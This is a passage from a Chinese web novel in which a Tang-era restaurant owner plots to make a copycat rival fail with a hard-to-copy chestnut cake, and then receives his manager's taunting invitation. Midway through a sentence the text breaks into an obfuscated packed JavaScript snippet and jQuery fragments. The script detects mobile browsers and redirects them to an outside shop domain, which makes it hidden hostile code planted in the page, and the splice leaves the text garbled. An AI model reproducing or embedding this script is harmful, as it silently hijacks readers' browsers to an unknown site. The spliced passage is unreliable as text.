玉浓嘴角浮起一丝意味深长的笑：“何须打听？钱满仓此人与我，算是老相识了。”
杜禾饴诧异了一瞬，随即想起玉浓毕竟在业内摸排滚打多年，于是示意玉浓接着说下去。
“东家可听说过永宁坊那家百味轩？”
杜禾饴摇头。
玉浓满是遗憾地叹了口气：“百味轩讲究真材实料，在那一带口碑极好，后来，天香楼开在斜对面，钱满仓隔三差五就派人来点菜，不到十天，百味轩的招牌菜全上了天香楼的菜单。”
一招鲜吃遍天啊，杜禾饴无奈：“对我们也是同样的手段。”
“百味轩的东家去找他理论，钱满仓笑嘻嘻地说‘菜品这东西，谁规定只能你家做？有本事你去衙门告我’，周东家气不过真去了，可长安城每天开张关门的酒楼几十家，谁管这种鸡毛蒜皮的事？”
“光抄菜也就罢了，他还压价。”玉浓言语之间满是鄙夷，“百味轩的醋鱼卖三十文，他就卖二十五文，分量还给得足。头一个月，天香楼赔着本卖，钱满仓做南北货生意起家，底子厚，赔得起，百味轩撑了不到半年，周东家把宅子都卖了，还是没能撑住，关门那天，钱满仓站在天香楼门口，笑呵呵地看着。”
“后来我才知道，钱满仓盯上百味轩，不只是为了抢生意。”玉浓咬了咬牙，“他看上那块地皮了，百味轩的地契是祖上传下来的，位置好，紧挨着永宁坊的主街，天香楼在斜对面，到底差了点意思。”
“等百味轩一倒，钱满仓立马找中间人去谈买地，压了个极低的价，东家那会儿已经山穷水尽，最后含恨把铺子贱卖给了他。”
“所以现在那地方？”
玉浓冷哼一声，“现在是个绸缎庄。”
“钱满仓把百味轩挤垮之后，反而不开酒楼了，转手把铺面租出去，一年坐收几百两银子，他就是这种人，为达目的，什么下作手段都使得出来。”
听完此话，杜禾饴忽地笑了一下。
玉浓被她这笑弄得一愣：“东家？”
“有意思。”杜禾饴伸手捋了捋耳边的碎发，“他最喜欢抄别人的菜，对吧？”
“对，百味轩就是这么被他抄垮的。”
“那他抄了菜之后，一般多久能端上桌？”
玉浓想了想：“快则三天，慢则五天，他后厨养了一帮人，专门干这个，一道菜尝上两三回，就能把配料猜个七七八八，再试两天，差不离就能卖了。”
“时间够了。”杜禾饴心中已有盘算。
玉浓迟疑地看着她：“东家，您该不会是想……”
“他那么爱抄，就让他抄个够。”杜禾饴转身走进后厨，“你方才说，钱满仓这个人，见了好东西就眼红，眼红了就一定要弄到手？”
“千真万确。”
“那好。”杜禾饴挽起袖子走到案板前，取下一袋栗子，在手里掂了掂，“我新琢磨了一道点心，叫桂花糖蒸新栗糕，用料不贵，但做法里头有个窍门，差了这一步，味道就天差地别。”
玉浓凑过去看。
杜禾饴把栗子放在案板上：“这道点心，栗子是主料，必须用当年秋天新收的栗子，磨成粉之后还要过细筛三遍，蒸出来的糕才够绵软细腻，带着栗子本身的清甜，可要是用了的陈栗子呢，失了水分，磨出来的粉又粗又干，就算蒸出来，口感也是发硬发柴，吃在嘴里像嚼渣滓，一点香味都没有。”
“他想抄，我就让他抄。”杜禾饴拿起刀在栗子上划了个小口，转手间利落地剥出金黄的栗仁来，“我不拦他，反倒要让他觉得这道点心是咱们的镇店之宝，让他想方设法偷了去。他那个性子，为了省成本，一定舍不得买当年新收的好栗子，随便买些陈货滥竽充数，到时候做出来的糕……”
她顿了顿，把剥好的栗仁放进石臼里，轻轻捣了起来。
“又硬又糙，没香没甜，客人一尝就知道是糊弄人的。”杜禾饴头也不抬，嘴角微微翘着，“他天香楼要是把这种东西端上桌，你说，那些客人还肯不肯来第二回？”
玉浓眼睛一亮，旋即又有些犹豫：“可他万一也用好栗子呢？”
“那他就赚不着钱。”杜禾饴笑了笑，“这道点心费时费料，好栗子本就贵，还要磨粉过筛，蒸起来也费柴火，整套工序下来，一道糕卖便宜了亏本，卖贵了没人买，他钱满仓做生意最精，不会干这种赔本赚吆喝的事。”
玉浓慢慢琢磨过味儿来，也笑了：“所以他是用陈栗子也亏，用好栗子也亏？”
“用陈栗子，做出来的糕难吃，砸招牌，用好栗子，成本太高，卖不上价，白忙活。”杜禾饴把捣好的栗子粉收到碗里，拍拍手上的粉末，“他抄我的方子，却抄不走我选料的讲究和火候的分寸，到头来不过是东施效颦。”
玉浓彻底服了，点头道：“那咱们怎么引他上钩？”
杜禾饴走到门口，朝大堂喊了一嗓子：“福贵！”
福贵颠颠地跑过来：“东家，啥事？”
“明天开始，这道桂花糖蒸新栗糕，每天只做十份，只在楼上雅间卖给熟客，外人一概不卖。”
杜禾饴笑得开怀：“而且每次端出去之前，先在后厨用罩子盖得严严实实，端上桌了再揭开，搞得隆重些，让所有人都觉得这是什么了不得的宝贝。”
福贵一头雾水，但还是点头应了。
杜禾饴又转向玉浓：“明天你光明正大地去一趟天香楼，点几道菜，跟他们的掌柜聊几句，不经意间提一句，说饴味居最近出了一道压箱底的点心，连我这个东家都舍不得天天做，只在招待贵客时才端出来。”
玉浓心领神会：“我明白，越是不让外人看的，他越想看，越是不轻易卖的，他越想抄。”
“就是这个理。”杜禾饴重新挽起袖子，语气轻快，“让他来抄，让他来偷，让他觉得自己占了天大的便宜，等他高高兴兴把那道桂花糖蒸新栗糕端上桌的时候……”
两个女人的目光在空中交汇，心照不宣地笑了。
“客人一尝，又硬又寡淡，他天香楼的名声，也就折在这块糕上了。”
后厨里炉火正旺，炖着的人参鸡汤咕嘟咕嘟冒着泡，热气氤氲中，杜禾饴缓缓道：“先把咱们真正要卖的那几道美容膳食做好，这才是正经事，至于钱满仓嘛，让他先得意几天。”
玉浓彻底拜服了，东家这脑子，也不知道是怎么长的，都已经提前铺好了路。
两人正商量着明天的细节，门外忽然传来一阵喧哗。
福贵跌跌撞撞地跑进来，脸上满是兴奋紧张：“东家！天香楼来人了！”
杜禾饴眉头微微皱起：“来干什么？”
“不知道，反正来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560319|204176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
者不善！”福贵咽了口唾沫，“领头的那个掌柜肥头大耳的，一进门就嚷嚷，说他们天香楼新菜上市，特意来请咱们去尝尝，看看什么叫真正的金丝虾。”
玉浓一听这话，火气噌地就上来了：“这不是明摆着来给下马威的吗？”
杜禾饴按住玉浓的肩膀，示意她稍安勿躁，自己捋了捋衣袖，不紧不慢地往前堂走去。
大堂里果然站着五六个人，为首的是个四十来岁的胖子，穿一身酱色绸袍，腆着肚子，一双绿豆眼滴溜溜地四处乱转，打量着饴味居的布置，面上的轻蔑加掩饰。
章先生正不卑不亢地招呼着：“这位客官，您这是……”
“我这是给你们东家送请帖来了。”曹掌柜大咧咧地从袖中抽出一张红纸，啪地拍在柜台上，“我们天香楼明日推出金丝虾球和蜜醋鲈鱼，请贵东家赏光，去尝尝什么叫正宗的味道，免得有些小店，仗着先开张几天，就拿些上不得台面的东西糊弄人。”
分明是他们抄袭在先，这话倒打一耙，把顺子气了个仰倒，险些冲上去动手，大堂里仅有的几桌客人也纷纷侧目。
杜禾饴走出来时正好听见最后一句，她面色不改，微微一笑：“曹掌柜是吧？承蒙钱东家抬爱，明日我一定登门讨教。”
曹掌柜上下打量她一眼，见是个年轻女子，眼中轻蔑更甚，鼻腔里哼了一声：“我们东家说了，做酒楼不是过家家，光靠几张花里胡哨的菜单可撑不住，长安城这地方，讲究的是真本事。”
他说到最后两个字时故意拖长了语调，目光在大堂里寥寥无几的客人身上扫了一圈，意味深长地咂了咂嘴。
杜禾饴神色如常，甚至还往前走了两步，笑盈盈地说：“曹掌柜说得在理。替我谢谢钱东家，就说饴味居初来乍到，承蒙前辈关照，明日一定登门道谢。”
曹掌柜没想到她既不恼怒也不慌张，反倒客客气气的，一时倒有些无趣，又哼了一声，转身带着人走了。
走到门口时还故意提高嗓门跟随从说：“走，回去告诉东家，这饴味居也不过如此，连个像样的客人都没有，不值得一提。”
脚步声渐渐远去。
福贵气得脸都红了：“东家，他们这哪里是请吃饭，分明是来踩咱们场子的！”
顺子也咬牙切齿：“东家，明天您真要去？那不是送上门让他们羞辱吗？”
杜禾饴拿起柜台上那张红纸请帖，随手翻了翻，上头写着“天香楼敬邀饴味居杜东家品鉴新菜”，字迹潦草敷衍，连个像样的落款都没有。
她把请帖折好收进袖中，转头对众人笑了笑：“去，为什么不去？人家都递帖子了，不去倒显得咱们怕了。”
玉浓走过来，眉头微蹙：“东家，钱满仓这人是出了名的霸道，他今天让曹掌柜来，无非是想给咱们一个下马威，让咱们知难而退，你要是去了，他肯定要在席面上做文章。”
“那正好。”杜禾饴拍了拍袖中的请帖，语气淡淡的，“他不做文章，我还看不出他到底有几分斤两。”
福贵和顺子面面相觑，还想再劝，却被玉浓一个眼神止住了。
玉浓看着杜禾饴平静的面容，心头一动：“东家心里有数了？”
杜禾饴狡黠地点头：“明天你跟我一起去，我倒要看看，他天香楼那两道抄来的菜，到底能做出什么花样。